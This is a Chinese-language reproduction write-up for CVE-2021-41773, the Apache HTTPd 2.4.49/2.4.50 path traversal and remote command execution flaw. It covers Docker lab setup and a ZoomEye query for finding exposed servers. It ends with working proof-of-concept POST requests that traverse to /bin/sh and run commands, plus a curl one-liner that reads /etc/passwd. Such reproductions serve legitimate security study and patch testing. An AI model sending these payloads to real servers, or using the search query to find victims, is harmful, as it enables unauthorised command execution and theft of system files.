Apache HTTPd RCE漏洞复现(cve-2021-41773)

0x01 漏洞简介：

    Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。在Apache HTTPd 2.4.49版本中，存在一个 路径穿越漏洞。在配置了 Require all granted后，攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件，比 如/etc/passwd文件。同时若Apache HTTPd开启了cgi支持，并能够访问到/bin/sh的情况下，攻击者可构造恶意请 求执行命令，从而控制服务器，危害严重。

0x02 影响版本：

ApacheHTTPd 2.4.49 ApacheHTTPd 2.4.50

0x03 漏洞等级:

高危

0x04 环境搭建:

这里提供两个搭建方法可自行选择

docker部署命令（一）：

docker pull blueteamsteve/cve-2021-41773:with-cgid
docker run -d -p 7006:80 blueteamsteve/cve-2021-41773:with-cgid

 搭建成功访问是这个酱紫！

http://ip:7006

 docker部署命令（二）：

git clonehttps://github.com/blasty/CVE-2021-41773.git
cd CVE-2021-41773/
docker-compose build 
docker-compose up -d

 搭建成功访问是这个酱紫！

http://ip:8080

0x05 影响范围：

根据ZoomEye网络空间搜索引擎对潜在可能目标进行搜索，共得到 566,346 条IP历史记录。

ZoomEye语法：

app:"apache web server 2.4.49 2.4.50"

0x06 漏洞复现： 

PoC:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5ce4665e39700-gzip"
If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

echo Content-Type: text/plain; echo; id

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5ce4665e39700-gzip"
If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

echo; whoami

curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'